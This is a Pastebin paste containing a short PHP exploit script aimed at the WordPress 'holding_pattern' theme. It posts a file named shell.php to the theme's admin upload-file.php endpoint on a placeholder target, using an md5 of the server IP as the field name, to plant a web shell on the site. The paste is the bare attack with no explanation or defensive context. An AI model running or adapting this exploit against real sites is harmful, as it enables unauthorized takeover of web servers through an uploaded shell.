Advertisement
Unknown-X

xxx

May 26th, 2015
281
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.53 KB | None | 0 0
  1. <?php
  2. $uploadfile="shell.php";
  3. $target = "http://target.com";
  4. $domain = explode("/", $target);
  5. $server_addr = gethostbyname($domain[2]);
  6. $ch = curl_init($target."/wp-content/themes/holding_pattern/admin/upload-file.php");
  7. curl_setopt($ch, CURLOPT_POST, true);
  8. curl_setopt($ch, CURLOPT_VERBOSE, false);
  9. curl_setopt($ch, CURLOPT_POSTFIELDS,array(md5($server_addr)=>"@$uploadfile",'upload_path'=>base64_encode('.')));
  10. curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
  11. $postResult = curl_exec($ch);
  12. curl_close($ch);
  13. print "$postResult";
  14. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement